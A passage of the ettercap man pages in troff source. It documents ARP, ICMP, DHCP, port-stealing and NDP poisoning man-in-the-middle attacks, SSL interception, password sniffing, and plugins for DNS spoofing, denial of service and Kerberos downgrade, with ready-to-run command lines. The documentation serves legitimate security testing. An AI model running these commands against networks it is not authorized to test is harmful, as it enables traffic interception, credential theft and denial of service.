modify and forward them to the real destination. .Sp In silent mode (\-z option) only the first target is selected, if you want to poison multiple target in silent mode use the \-j option to load a list from a file. .Sp You can select empty targets and they will be expanded as 'ANY' (all the hosts in the LAN). The target list is joined with the hosts list (created by the arp scan) and the result is used to determine the victims of the attack. .Sp The parameter "remote" is optional and you have to specify it if you want to sniff remote ip address poisoning a gateway. Indeed if you specify a victim and the gw in the TARGETS, ettercap will sniff only connection between them, but to enable ettercap to sniff connections that pass thru the gw, you have to use this parameter. .Sp The parameter "oneway" will force ettercap to poison only from TARGET1 to TARGET2. Useful if you want to poison only the client and not the router (where an arp watcher can be in place). .Sp Example: .Sp the targets are: /10.0.0.1\-5/ /10.0.0.15\-20/ .br and the host list is: 10.0.0.1 10.0.0.3 10.0.0.16 10.0.0.18 .Sp the associations between the victims will be: .br 1 and 16, 1 and 18, 3 and 16, 3 and 18 .Sp if the targets overlap each other, the association with identical ip address will be skipped. .Sp NOTE: if you manage to poison a client, you have to set correct routing table in the kernel specifying the GW. If your routing table is incorrect, the poisoned clients will not be able to navigate the Internet. .TP \fBicmp\fR (MAC/IP) This attack implements ICMP redirection. It sends a spoofed icmp redirect message to the hosts in the lan pretending to be a better route for internet. All connections to internet will be redirected to the attacker which, in turn, will forward them to the real gateway. The resulting attack is a HALF-DUPLEX mitm. Only the client is redirected, since the gateway will not accept redirect messages for a directly connected network. BE SURE TO NOT USE FILTERS THAT MODIFY THE PAYLOAD LENGTH. you can use a filter to modify packets, but the length must be the same since the tcp sequences cannot be updated in both ways. .br You have to pass as argument the MAC and the IP address of the real gateway for the lan. .br Obviously you have to be able to sniff all the traffic. If you are on a switch you have to use a different mitm attack such as arp poisoning. .Sp NOTE: to restrict the redirection to a given target, specify it as a TARGET .Sp Example: .Sp \-M icmp:00:11:22:33:44:55/10.0.0.1 .Sp will redirect all the connections that pass thru that gateway. .TP \fBdhcp\fR (ip_pool/netmask/dns) This attack implements DHCP spoofing. It pretends to be a DHCP server and tries to win the race condition with the real one to force the client to accept the attacker's reply. This way ettercap is able to manipulate the GW parameter and hijack all the outgoing traffic generated by the clients. .br The resulting attack is a HALF-DUPLEX mitm. So be sure to use appropriate filters (see above in the ICMP section). .Sp You have to pass the ip pool to be used, the netmask and the ip of the dns server. Since ettercap tries to win the race with the real server, it DOES NOT CHECK if the ip is already assigned. You have to specify an ip pool of FREE addresses to be used. The ip pool has the same form of the target specification. .Sp If the client sends a dhcp request (suggesting an ip address) ettercap will ack on that ip and modify only the gw option. If the client makes a dhcp discovery, ettercap will use the first unused ip address of the list you have specified on command line. Every discovery consumes an ip address. When the list is over, ettercap stops offering new ip addresses and will reply only to dhcp requests. .br If you don't want to offer any ip address, but only change the router information of dhcp request/ack, you can specify an empty ip_pool. .Sp BIG WARNING: if you specify a list of ip that are in use, you will mess your network! In general, use this attack carefully. It can really mess things up! When you stop the attack, all the victims will be still convinced that ettercap is the gateway until the lease expires... .Sp Example: .Sp \-M dhcp:192.168.0.30,35,50\-60/255.255.255.0/192.168.0.1 .br reply to DHCP offer and request. .Sp \-M dhcp:/255.255.255.0/192.168.0.1 .br reply only to DHCP request. .TP \fBport\fR ([remote],[tree]) This attack implements Port Stealing. This technique is useful to sniff in a switched environment when ARP poisoning is not effective (for example where static mapped ARPs are used). .Sp It floods the LAN (based on port_steal_delay option in etter.conf) with ARP packets. If you don't specify the "tree" option, the destination MAC address of each "stealing" packet is the same as the attacker's one (other NICs won't see these packets), the source MAC address will be one of the MACs in the host list. This process "steals" the switch port of each victim host in the host list. Using low delays, packets destined to "stolen" MAC addresses will be received by the attacker, winning the race condition with the real port owner. When the attacker receives packets for "stolen" hosts, it stops the flooding process and performs an ARP request for the real destination of the packet. When it receives the ARP reply it's sure that the victim has "taken back" his port, so ettercap can re-send the packet to the destination as is. Now we can re-start the flooding process waiting for new packets. .Sp If you use the "tree" option, the destination MAC address of each stealing packet will be a bogus one, so these packets will be propagated to other switches (not only the directly connected one). This way you will be able to steal ports on other switches in the tree (if any), but you will generate a huge amount of traffic (according to port_steal_delay). The "remote" option has the same meaning as in "arp" mitm method. .Sp When you stop the attack, ettercap will send an ARP request to each stolen host giving back their switch ports. .br You can perform either HALF or FULL DUPLEX mitm according to target selection. .Sp NOTE: Use this mitm method only on ethernet switches. Use it carefully, it could produce performances loss or general havoc. .Sp NOTE: You can NOT use this method in only-mitm mode (\-o flag), because it hooks the sniffing engine, and you can't use interactive data injection. .Sp NOTE: It could be dangerous to use it in conjunction with other mitm methods. .Sp NOTE: This mitm method doesn't work on Solaris and Windows because of the lipcap and libnet design and the lack of certain ioctl(). (We will feature this method on these OSes if someone will request it...) .Sp Example: .Sp The targets are: /10.0.0.1/ /10.0.0.15/ .br You will intercept and visualize traffic between 10.0.0.1 and 10.0.0.15, but you will receive all the traffic for 10.0.0.1 and 10.0.0.15 too. .Sp The target is: /10.0.0.1/ .br You will intercept and visualize all the traffic for 10.0.0.1. .Sp .TP \fBndp\fR ([remote],[oneway]) .B NOTE: This MITM method is only supported if IPv6 support has been enabled. .Sp This method implements the NDP poisoning attack which is used for MITM of IPv6 connections. ND requests/replies are sent to the victims to poison their neighbor cache. Once the cache has been poisoned the victims will send all IPv6 packets to the attacker which, in turn, can modify and forward them to the real destination. .Sp In silent mode (\-z option) only the first target is selected, if you want to poison multiple target in silent mode use the \-j option to load a list from a file. .Sp You can select empty targets and they will be expanded as 'ANY' (all the hosts in the LAN). The target list is joined with the hosts list (created by the arp scan) and the result is used to determine the victims of the attack. .Sp The parameter "remote" is optional and you have to specify it if you want to sniff remote ip address poisoning a gateway. Indeed if you specify a victim and the gw in the TARGETS, ettercap will sniff only connection between them, but to enable ettercap to sniff connections that pass thru the gw, you have to use this parameter. .Sp The parameter "oneway" will force ettercap to poison only from TARGET1 to TARGET2. Useful if you want to poison only the client and not the router (where an arp watcher can be in place). .Sp Example: .Sp Targets are: //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/ .br Ranges of IPv6 addresses are not yet supported. .Sp NOTE: if you manage to poison a client, you have to set correct routing table in the kernel specifying the GW. If your routing table is incorrect, the poisoned clients will not be able to navigate the Internet. .Sp NOTE: in IPv6 usually the link-local address of the router is being used as the gateway address. Therefor you need to set the link-local address of the router as one target and the global-unicast address of the victim as the other in order to set up a successfull IPv6 MITM attack using NDP poisoning. .RE .TP \fB\-o\fR, \fB\-\-only\-mitm\fR This options disables the sniffing thread and enables only the mitm attack. Useful if you want to use ettercap to perform mitm attacks and another sniffer (such as wireshark) to sniff the traffic. Keep in mind that the packets are not forwarded by ettercap. The kernel will be responsible for the forwarding. Remember to activate the "ip forwarding" feature in your kernel. .TP \fB\-f\fR, \fB\-\-pcapfilter \fR Set a capturing filter in the pcap library. The format is the same as tcpdump(1). Remember that this kind of filter will not sniff packets out of the wire, so if you want to perform a mitm attack, ettercap will not be able to forward hijacked packets. .br These filters are useful to decrease the network load impact into ettercap decoding module. .TP \fB\-B\fR, \fB\-\-bridge \fR BRIDGED sniffing .br You need two network interfaces. ettercap will forward form one to the other all the traffic it sees. It is useful for man in the middle at the physical layer. It is totally stealthy since it is passive and there is no way for an user to see the attacker. .br You can content filter all the traffic as you were a transparent proxy for the "cable". .TP .B OFF LINE SNIFFING .TP \fB\-r\fR, \fB\-\-read \fR OFF LINE sniffing .br With this option enabled, ettercap will sniff packets from a pcap compatible file instead of capturing from the wire. .br This is useful if you have a file dumped from tcpdump or wireshark and you want to make an analysis (search for passwords or passive fingerprint) on it. .br Obviously you cannot use "active" sniffing (arp poisoning or bridging) while sniffing from a file. .TP \fB\-w\fR, \fB\-\-write \fR WRITE packet to a pcap file .br This is useful if you have to use "active" sniffing (arp poison) on a switched LAN but you want to analyze the packets with tcpdump or wireshark. You can use this option to dump the packets to a file and then load it into your favourite application. .Sp NOTE: dump file collect ALL the packets disregarding the TARGET. This is done because you may want to log even protocols not supported by ettercap, so you can analyze them with other tools. .Sp TIP: you can use the \-w option in conjunction with the \-r one. This way you will be able to filter the payload of the dumped packets or decrypt WEP-encrypted WiFi traffic and dump them to another file. .TP .B USER INTERFACES OPTIONS .TP \fB\-T\fR, \fB\-\-text\fR The text only interface, only printf ;) .br It is quite interactive, press 'h' in every moment to get help on what you can do. .TP \fB\-q\fR, \fB\-\-quiet\fR Quiet mode. It can be used only in conjunction with the console interface. It does not print packet content. It is useful if you want to convert pcap file to ettercap log files. .Sp example: .Sp ettercap \-Tq \-L dumpfile \-r pcapfile .TP \fB\-s\fR, \fB\-\-script \fR With this option you can feed ettercap with command as they were typed on the keyboard by the user. This way you can use ettercap within your favourite scripts. There is a special command you can issue thru this command: s(x). this command will sleep for x seconds. .Sp example: .Sp ettercap \-T \-s 'lq' will print the list of the hosts and exit .br ettercap \-T \-s 's(300)olqq' will collect the infos for 5 minutes, print the list of the local profiles and exit .TP \fB\-C\fR, \fB\-\-curses\fR .br Ncurses based GUI. See ettercap_curses(8) for a full description. .TP \fB\-G\fR, \fB\-\-gtk\fR .br The nice GTK2 interface (thanks Daten...). .TP \fB\-D\fR, \fB\-\-daemonize\fR .br Daemonize ettercap. This option will detach ettercap from the current controlling terminal and set it as a daemon. You can combine this feature with the "log" option to log all the traffic in the background. If the daemon fails for any reason, it will create the file "./ettercap_daemonized.log" in which the error caught by ettercap will be reported. Furthermore, if you want to have a complete debug of the daemon process, you are encouraged to recompile ettercap in debug mode. .TP .B GENERAL OPTIONS .TP \fB\-b\fR, \fB\-\-broadcast\fR Tells Ettercap to process packets coming from Broadcast address. .TP \fB\-i\fR, \fB\-\-iface \fR Use this instead of the default one. The interface can be unconfigured (requires libnet >= 1.1.2), but in this case you cannot use MITM attacks and you should set the unoffensive flag. .TP \fB\-I\fR, \fB\-\-iflist\fR This option will print the list of all available network interfaces that can be used within ettercap. The option is particularly useful under windows where the name of the interface is not so obvious as under *nix. .TP \fB\-Y\fR, \fB\-\-secondary \fR Specify a list of (or single) secondary interfaces to capture packets from. .TP \fB\-A\fR, \fB\-\-address
    \fR Use this
    instead of the one autodetected for the current iface. This option is useful if you have an interface with multiple ip addresses. .TP \fB\-n\fR, \fB\-\-netmask \fR Use this instead of the one associated with the current iface. This option is useful if you have the NIC with an associated netmask of class B and you want to scan (with the arp scan) only a class C. .TP \fB\-R\fR, \fB\-\-reversed\fR Reverse the matching in the TARGET selection. It means not(TARGET). All but the selected TARGET. .TP \fB\-t\fR, \fB\-\-proto \fR Sniff only PROTO packets (default is TCP + UDP). .br This is useful if you want to select a port via the TARGET specification but you want to differentiate between tcp or udp. .br PROTO can be "tcp", "udp" or "all" for both. .TP \fB\-6\fR, \fB\-\-ip6scan\fR Send ICMPv6 probes to discover active IPv6 nodes on the link. This options sends a ping request to the all-nodes address to motivate active IPv6 hosts to respond. You should not use this option if you try to hide yourself. Therefore this option is optional. .Sp NOTE: This option is only available if IPv6 support has been enabled. .TP \fB\-z\fR, \fB\-\-silent\fR Do not perform the initial ARP scan of the LAN. .Sp NOTE: you will not have the hosts list, so you can't use the multipoison feature. you can only select two hosts for an ARP poisoning attack, specifying them through the TARGETs .TP \fB\-p\fR, \fB\-\-nopromisc\fR Usually, ettercap will put the interface in promisc mode to sniff all the traffic on the wire. If you want to sniff only your connections, use this flag to NOT enable the promisc mode. .TP \fB\-S\fR, \fB\-\-nosslmitm\fR Usually, ettercap forges SSL certificates in order to intercept https traffic. This option disables that behavior. .TP \fB\-u\fR, \fB\-\-unoffensive\fR Every time ettercap starts, it disables ip forwarding in the kernel and begins to forward packets itself. This option prevent to do that, so the responsibility of ip forwarding is left to the kernel. .br This options is useful if you want to run multiple ettercap instances. You will have one instance (the one without the \-u option) forwarding the packets, and all the other instances doing their work without forwarding them. Otherwise you will get packet duplicates. .br It also disables the internal creation of the sessions for each connection. It increases performances, but you will not be able to modify packets on the fly. .br If you want to use a mitm attack you have to use a separate instance. .br You have to use this option if the interface is unconfigured (without an ip address.) .br This is also useful if you want to run ettercap on the gateway. It will not disable the forwarding and the gateway will correctly route the packets. .TP \fB\-j\fR, \fB\-\-load\-hosts \fR It can be used to load a hosts list from a file created by the \-k option. (see below) .TP \fB\-k\fR, \fB\-\-save\-hosts \fR Saves the hosts list to a file. Useful when you have many hosts and you don't want to do an ARP storm at startup any time you use ettercap. Simply use this options and dump the list to a file, then to load the information from it use the \-j option. .TP \fB\-P\fR, \fB\-\-plugin \fR Run the selected PLUGIN. Many plugins need target specification, use TARGET as always. Use multiple occurances of this parameter to select multiple plugins. .br In console mode (\-C option), standalone plugins are executed and then the application exits. Hook plugins are activated and the normal sniffing is performed. .br To have a list of the available external plugins use "list" (without quotes) as plugin name (e.g. ./ettercap \-P list). .Sp NOTE: you can also activate plugins directly from the interfaces (always press "h" to get the inline help) .Sp More detailed info about plugins and about how to write your own are found in the man page ettercap_plugins(8) .TP \fB\-F\fR, \fB\-\-filter \fR Load the filter from the file . The filter must be compiled with etterfilter(8). The utility will compile the filter script and produce an ettercap\-compliant binary filter file. Read the etterfilter(8) man page for the list of functions you can use inside a filter script. Any number of filters can be loaded by specifying the option multiple times; packets are passed through each filter in the order specified on the command line. You can also load a script without enabling it by appending :0 to the filename. .br NOTE: these filters are different from those set with \-\-pcapfilter. An ettercap filter is a content filter and can modify the payload of a packet before forwarding it. Pcap filter are used to capture only certain packets. .br NOTE: you can use filters on pcapfile to modify them and save to another file, but in this case you have to pay attention on what you are doing, since ettercap will not recalculate checksums, nor split packets exceeding the mtu (snaplen) nor anything like that. .TP \fB\-W\fR, \fB\-\-wifi\-key \fR You can specify a key to decrypt WiFi packets (WEP or WPA). Only the packets decrypted successfully will be passed to the decoders stack, the others will be skipped with a message. .br The parameter has the following syntax: type:bits:t:string. Where 'type' can be: wep, wpa-pws or wpa-psk, 'bits' is the bit length of the key (64, 128 or 256), 't' is the type of the string ('s' for string and 'p' for passphrase). 'string' can be a string or an escaped hex sequences. .Sp example: .br \-\-wifi\-key wep:128:p:secret .br \-\-wifi\-key wep:128:s:ettercapwep0 .br \-\-wifi\-key 'wep:64:s:\\x01\\x02\\x03\\x04\\x05' .br \-\-wifi\-key wpa:pwd:ettercapwpa:ssid .br \-\-wifi\-key wpa:psk: .br 663eb260e87cf389c6bd7331b28d82f5203b0cae4e315f9cbb7602f3236708a6 .TP \fB\-a\fR, \fB\-\-config \fR Loads an alternative config file instead of the default in /etc/etter.conf. This is useful if you have many preconfigured files for different situations. .TP \fB\-\-certificate \fR Tells Ettercap to use the specified certificate file for the SSL MiTM attack. .TP \fB\-\-private\-key \fR Tells Ettercap to use the specified private key file for the SSL MiTM attack. .TP .B VISUALIZATION OPTIONS .TP \fB\-e\fR, \fB\-\-regex \fR Handle only packets that match the regex. .br This option is useful in conjunction with \-L. It logs only packets that match the posix regex REGEX. .br It impacts even the visualization of the sniffed packets. If it is set only packets matching the regex will be displayed. .TP \fB\-V\fR, \fB\-\-visual \fR Use this option to set the visualization method for the packets to be displayed. .Sp FORMAT may be one of the following: .Sp .RS .TP \fBhex\fR Print the packets in hex format. .Sp example: .Sp the string "HTTP/1.1 304 Not Modified" becomes: .Sp 0000: 4854 5450 2f31 2e31 2033 3034 204e 6f74 HTTP/1.1 304 Not .br 0010: 204d 6f64 6966 6965 64 Modified .TP \fBascii\fR Print only "printable" characters, the others are displayed as dots '.' .TP \fBtext\fR Print only the "printable" characters and skip the others. .TP \fBebcdic\fR Convert an EBCDIC text to ASCII. .TP \fBhtml\fR Strip all the html tags from the text. A tag is every string between < and >. .Sp example: .Sp This is the title, but the following will not be displayed. .Sp This is the title, but the following will not be displayed. .TP \fButf8\fR Print the packets in UTF-8 format. The encoding used while performing the conversion is declared in the etter.conf(5) file. .RE .TP \fB\-d\fR, \fB\-\-dns\fR Resolve ip addresses into hostnames. .Sp NOTE: this may seriously slow down ettercap while logging passive information. Every time a new host is found, a query to the dns is performed. Ettercap keeps a cache for already resolved host to increase the speed, but new hosts need a new query and the dns may take up to 2 or 3 seconds to respond for an unknown host. .Sp HINT: ettercap collects the dns replies it sniffs in the resolution table, so even if you specify to not resolve the hostnames, some of them will be resolved because the reply was previously sniffed. think about it as a passive dns resolution for free... ;) .TP \fB\-E\fR, \fB\-\-ext\-headers\fR Print extended headers for every displayed packet. (e.g. mac addresses) .TP \fB\-Q\fR, \fB\-\-superquiet\fR Super quiet mode. Do not print users and passwords as they are collected. Only store them in the profiles. It can be useful to run ettercap in text only mode but you don't want to be flooded with dissectors messages. Useful when using plugins because the sniffing process is always active, it will print all the collected infos, with this option you can suppress these messages. .br NOTE: this options automatically sets the \-q option. .Sp example: .Sp ettercap \-TzQP finger /192.168.0.1/22 .TP .B LOGGING OPTIONS .TP \fB\-L\fR, \fB\-\-log \fR Log all the packets to binary files. These files can be parsed by etterlog(8) to extract human readable data. With this option, all packets sniffed by ettercap will be logged, together with all the passive info (host info + user & pass) it can collect. Given a LOGFILE, ettercap will create LOGFILE.ecp (for packets) and LOGFILE.eci (for the infos). .Sp NOTE: if you specify this option on command line you don't have to take care of privileges since the log file is opened in the startup phase (with high privs). But if you enable the log option while ettercap is already started, you have to be in a directory where uid = 65535 or uid = EC_UID can write. .Sp NOTE: the logfiles can be compressed with the deflate algorithm using the \-c option. .TP \fB\-l\fR, \fB\-\-log\-info \fR Very similar to \-L but it logs only passive information + users and passwords for each host. The file will be named LOGFILE.eci .TP \fB\-m\fR, \fB\-\-log\-msg \fR It stores in all the user messages printed by ettercap. This can be useful when you are using ettercap in daemon mode or if you want to track down all the messages. Indeed, some dissectors print messages but their information is not stored anywhere, so this is the only way to keep track of them. .TP \fB\-c\fR, \fB\-\-compress\fR Compress the logfile with the gzip algorithm while it is dumped. etterlog(8) is capable of handling both compressed and uncompressed log files. .TP \fB\-o\fR, \fB\-\-only\-local\fR Stores profiles information belonging only to the LAN hosts. .Sp NOTE: this option is effective only against the profiles collected in memory. While logging to a file ALL the hosts are logged. If you want to split them, use the related etterlog(8) option. .TP \fB\-O\fR, \fB\-\-only\-remote\fR Stores profiles information belonging only to remote hosts. .TP .B STANDARD OPTIONS .TP \fB\-v\fR, \fB\-\-version\fR Print the version and exit. .TP \fB\-h\fR, \fB\-\-help\fR prints the help screen with a short summary of the available options. .SH EXAMPLES Here are some examples of using ettercap. .TP .B ettercap \-Tp .Sp Use the console interface and do not put the interface in promisc mode. You will see only your traffic. .TP .B ettercap \-Tzq .Sp Use the console interface, do not ARP scan the net and be quiet. The packet content will not be displayed, but user and passwords, as well as other messages, will be displayed. .TP .B ettercap \-T \-j /tmp/victims \-M arp /10.0.0.1\-7/ /10.0.0.10\-20/ .Sp Will load the hosts list from /tmp/victims and perform an ARP poisoning attack against the two target. The list will be joined with the target and the resulting list is used for ARP poisoning. .TP .B ettercap \-T \-M arp // // .Sp Perform the ARP poisoning attack against all the hosts in the LAN. BE CAREFUL !! .TP .B ettercap \-T \-M arp:remote /192.168.1.1/ /192.168.1.2\-10/ .Sp Perform the ARP poisoning against the gateway and the host in the lan between 2 and 10. The 'remote' option is needed to be able to sniff the remote traffic the hosts make through the gateway. .TP .B ettercap \-Tzq //110 .Sp Sniff only the pop3 protocol from every hosts. .TP .B ettercap \-Tzq /10.0.0.1/21,22,23 .Sp Sniff telnet, ftp and ssh connections to 10.0.0.1. .TP .B ettercap \-P list .Sp Prints the list of all available plugins .SH FILES .TP .B ~/.config/ettercap_gtk .Sp Stores persistent information (e.g., window placement) between sessions. .SH ORIGINAL AUTHORS Alberto Ornaghi (ALoR) .br Marco Valleri (NaGA) .SH PROJECT STEWARDS Emilio Escobar (exfil) .br Eric Milam (Brav0Hax) .SH OFFICIAL DEVELOPERS Mike Ryan (justfalter) .br Gianfranco Costamagna (LocutusOfBorg) .br Antonio Collarino (sniper) .br Ryan Linn .br Jacob Baines .SH CONTRIBUTORS Dhiru Kholia (kholia) .br Alexander Koeppe (koeppea) .br Martin Bos (PureHate) .br Enrique Sanchez .br Gisle Vanem .br Johannes Bauer .br Daten (Bryan Schneiders) .SH "SEE ALSO" .I "etter.conf(5)" .I "ettercap_curses(8)" .I "ettercap_plugins(8)" .I "etterlog(8)" .I "etterfilter(8)" .I "ettercap\-pkexec(8)" .LP .SH AVAILABILITY https://github.com/Ettercap/ettercap/downloads .SH GIT git clone git://github.com/Ettercap/ettercap.git .br or .br git clone https://github.com/Ettercap/ettercap.git .SH BUGS Our software never has bugs. .br It just develops random features. ;) .PP .B KNOWN-BUGS .PP - ettercap doesn't handle fragmented packets... only the first segment will be displayed by the sniffer. However all the fragments are correctly forwarded. .PP + please send bug-report, patches or suggestions to or visit https://github.com/Ettercap/ettercap/issues. .PP + to report a bug, follow the instructions in the README.BUGS file .SH PHILOLOGICAL HISTORY "Even if blessed with a feeble intelligence, they are cruel and smart..." this is the description of Ettercap, a monster of the RPG Advanced Dungeons & Dragon. .PP The name "ettercap" was chosen because it has an assonance with "ethercap" which means "ethernet capture" (what ettercap actually does) and also because such monsters have a powerful poison... and you know, arp poisoning... ;) .SH The Lord Of The (Token)Ring (the fellowship of the packet) .PP "One Ring to link them all, One Ring to ping them, .br one Ring to bring them all and in the darkness sniff them." .SH Last words "Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning." - Rich Cook ettercap-0.8.3/man/ettercap_plugins.8.in0000644000175000017500000004677213505247364020035 0ustar koeppeakoeppea.\" ettercap_plugins -- man page for all the plugins .\" .\" This program is free software; you can redistribute it and/or modify .\" it under the terms of the GNU General Public License as published by .\" the Free Software Foundation; either version 2 of the License, or .\" (at your option) any later version. .\" .\" This program is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public License .\" along with this program; if not, write to the Free Software .\" Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. .\" .\" .de Sp .if n .sp .if t .sp 0.4 .. .TH ETTERCAP-PLUGINS "8" "" "ettercap @VERSION@" .SH NAME ettercap-plugins - A collection of plugins for ettercap .SH DESCRIPTION Ettercap(8) supports loadable modules at runtime. They are called plugins and they come within the source tarball. They are automatically compiled if your system supports them or until you specify \-DENABLE_PLUGINS=OFF option to the cmake configure script. .br Some of older ettercap plugins (roper, banshee, and so on) have not been ported in the new version. By the way, you can achieve the same results by using new filtering engine. .br If you use interactive mode, most plugins need to "Start Sniff" before using them. .TP To have a list of plugins installed in your system do that command: .Sp .I ettercap \-P list .LP .LP The following is a list of available plugins: .TP .B arp_cop .Sp It reports suspicious ARP activity by passively monitoring ARP requests/replies. It can report ARP posioning attempts, or simple IP-conflicts or IP-changes. If you build the initial host list the plugin will run more accurately. .Sp .I example : .Sp ettercap \-TQP arp_cop // .TP .B autoadd .Sp It will automatically add new victims to the ARP poisoning mitm attack when they come up. It looks for ARP requests on the lan and when detected it will add the host to the victims list if it was specified in the TARGET. The host is added when an arp request is seen form it, since communicating hosts are alive :) .TP .B chk_poison .Sp It performs a check to see if the arp poisoning module of ettercap was successful. It sends spoofed ICMP echo packets to all the victims of the poisoning pretending to be each of the other targets. If we can catch an ICMP reply with our MAC address as destination it means that the poisoning between those two targets is successful. It checks both ways of each communication. This plugin makes sense only where poisoning makes sense. The test fails if you specify only one target in silent mode. You can't run this plugin from command line because the poisoning process is not started yet. You have to launch it from the proper menu. .TP .B dns_spoof .Sp This plugin intercepts DNS query and reply with a spoofed answer. You can choose to which addresses the plugin has to reply, and the expiry time in seconds (TTL) by modifying the etter.dns file. The plugin intercepts A, AAAA, PTR, MX, WINS, SRV and TXT request. If it was an A request, the name is searched in the file and the IP address is returned (you can use wildcards in the name). .br The same applies if it was a AAAA request. .Sp TTL is an optional field which is specified as the last option in an entry in the etter.dns file. The TTL is specified in a number of seconds from 0 to 2^31-1 (see RFC 2181). TTL is specified on a per-host basis. If the TTL is not specified for a particular host, the default value is 3600 seconds (1 hour). .Sp If it was a PTR request, the IP address is searched in the file and the name is returned (except for those name containing a wildcard). For PTR requests, IPv4 or IPv6 addresses are supported. .Sp In case of MX request a special reply is crafted. The host is resolved with a fake host 'mail.host' and the additional record contains the IP address of 'mail.host'. The first address that matches is returned, so be careful with the order. The IP address for MX requests can be a IPv4 or a IPv6 address. .Sp If the request was a WINS request, the name is searched in the file and the IP address is returned. .Sp In case of SRV request, a special reply is crafted. The host is resolved with a fake host 'srv.host' and the additional record contains the IP address of 'srv.host'. The IP address for SRV requests can be a IPv4 or a IPv6 address. .Sp In case of a TXT request, the string defined is being returned. The string has to be wrapped in double quotes. Wildcards for the requested name can also be used. .Sp A special reply can be spoofed for A or AAAA requests, if the 'undefined address' is specified as the IP address in the file. Then the client gets a response which stops resolution processing imediately. This way one can control which address family is being used to access a dual-stacked host. .Sp In the case of an ANY request, all matching results of type A, AAAA, MX and TXT are returned in the reply. If the 'undefined address' for A or AAAA records is defined, nothing is returned for these types whether or not the name matches. .TP .B mdns_spoof .Sp This plugin does the same as the dns_spoof plugin described above, despite that it listens for mDNS (Multicast DNS) queries on UDP port 5353. To choose to which address the plugin shall reply, you have to modify a diffent file called etter.mdns. Due to the nature of mDNS, the plugin intercepts only A, AAAA, PTR and SRV requests. .Sp The way the mdns_spoof plugin interprets the etter.mdns file and the rules that apply are the same as with the dns_spoof plugin, although currently the mdns_spoof plugin lacks support for custom TTL. The TTL for all spoofed mDNS replies is 3600 seconds (1 hour). .TP .B dos_attack .Sp This plugin runs a d.o.s. attack against a victim IP address. It first "scans" the victim to find open ports, then starts to flood these ports with SYN packets, using a "phantom" address as source IP. Then it uses fake ARP replies to intercept packets for the phantom host. When it receives SYN-ACK from the victim, it replies with an ACK packet creating an ESTABLISHED connection. You have to use a free IP address in your subnet to create the "phantom" host (you can use find_ip for this purpose). You can't run this plugin in unoffensive mode. .br This plugin is based on the original Naptha DoS attack (http://razor.bindview.com/publish/advisories/adv_NAPTHA.html) .Sp .I example : .Sp ettercap \-TQP dos_attack .TP .B dummy .Sp Only a template to demonstrate how to write a plugin. .TP .B find_conn .Sp Very simple plugin that listens for ARP requests to show you all the targets an host wants to talk to. It can also help you finding addresses in an unknown LAN. .Sp .I example : .Sp ettercap \-TQzP find_conn .Sp ettercap \-TQu \-i eth0 \-P find_conn .TP .B find_ettercap .Sp Try to identify ettercap packets sent on the LAN. It could be useful to detect if someone is using ettercap. Do not rely on it 100% since the tests are only on particular sequence/identification numbers. .TP .B find_ip .Sp Find the first unused IP address in the range specified by the user in the target list. Some other plugins (such as gre_relay) need an unused IP address of the LAN to create a "fake" host. It can also be useful to obtain an IP address in an unknown LAN where there is no dhcp server. You can use find_conn to determine the IP addressing of the LAN, and then find_ip. You have to build host list to use this plugin so you can't use it in unoffensive mode. If you don't have an IP address for your interface, give it a bogus one (e.g. if the LAN is 192.168.0.0/24, use 10.0.0.1 to avoid conflicting IP), then launch this plugin specifying the subnet range. You can run it either from the command line or from the proper menu. .Sp .I example : .Sp ettercap \-TQP find_ip // .Sp ettercap \-TQP find_ip /192.168.0.1\-254/ .TP .B finger .Sp Uses the passive fingerprint capabilities to fingerprint a remote host. It does a connect() to the remote host to force the kernel to reply to the SYN with a SYN+ACK packet. The reply will be collected and the fingerprint is displayed. The connect() obey to the connect_timeout parameter in etter.conf(5). You can specify a target on command-line or let the plugin ask the target host to be fingerprinted. You can also specify multiple target with the usual multi-target specification (see ettercap(8)). if you specify multiple ports, all the ports will be tested on all the IPs. .Sp .I example : .Sp ettercap \-TzP finger /192.168.0.1/22 .br ettercap \-TzP finger /192.168.0.1\-50/22,23,25 .TP .B finger_submit .Sp Use this plugin to submit a fingerprint to the ettercap website. If you found an unknown fingerprint, but you know for sure the operating system of the target, you can submit it so it will be inserted in the database in the next ettercap release. We need your help to increase the passive fingerprint database. Thank you very much. .Sp .I example : .Sp ettercap \-TzP finger_submit .TP .B fraggle_attack .Sp This plugin performs a DoS attack because it sends a large amount of UDP echo and chargen traffic to all hosts in target2 with a fake source ip address (victim). .Sp .I example (192.168.0.5 is the victim): .Sp ettercap \-i eth1 \-Tq /192.168.0.5/ // \-P fraggle_attack .TP .B gre_relay .Sp This plugin can be used to sniff GRE-redirected remote traffic. The basic idea is to create a GRE tunnel that sends all the traffic on a router interface to the ettercap machine. The plugin will send back the GRE packets to the router, after ettercap "manipulation" (you can use "active" plugins such as smb_down, ssh decryption, filters, etc... on redirected traffic) It needs a "fake" host where the traffic has to be redirected to (to avoid kernel's responses). The "fake" IP will be the tunnel endpoint. Gre_relay plugin will impersonate the "fake" host. To find an unused IP address for the "fake" host you can use find_ip plugin. Based on the original Tunnelx technique by Anthony C. Zboralski (http://www.phrack.org/archives/issues/56/10.txt). .TP .B gw_discover .Sp This plugin try to discover the gateway of the lan by sending TCP SYN packets to a remote host. The packet has the destination IP of a remote host and the destination mac address of a local host. If ettercap receives the SYN+ACK packet, the host which own the source mac address of the reply is the gatway. This operation is repeated for each host in the 'host list', so you need to have a valid host list before launching this plugin. .Sp .I example : .Sp ettercap \-TP gw_discover /192.168.0.1\-50/ .TP .B isolate .Sp The isolate plugin will isolate an host form the LAN. It will poison the victim's arp cache with its own mac address associated with all the host it tries to contact. This way the host will not be able to contact other hosts because the packet will never reach the wire. .br You can specify all the host or only a group. the targets specification work this way: the target1 is the victim and must be a single host, the target2 can be a range of addresses and represent the hosts that will be blocked to the victim. .Sp .I examples : .Sp ettercap \-TzqP isolate /192.168.0.1/ // .br ettercap \-TP isolate /192.168.0.1/ /192.168.0.2\-30/ .TP .B krb5_downgrade .Sp It downgrades Kerberos V5 security by modifying the etype values in client AS-REQ packets. This way, obtained hashes can be easily cracked by John the Ripper (JtR). You have to be in the "middle" of the connection to successfully use it. It hooks the kerberos dissector, so you have to keep it active. .TP 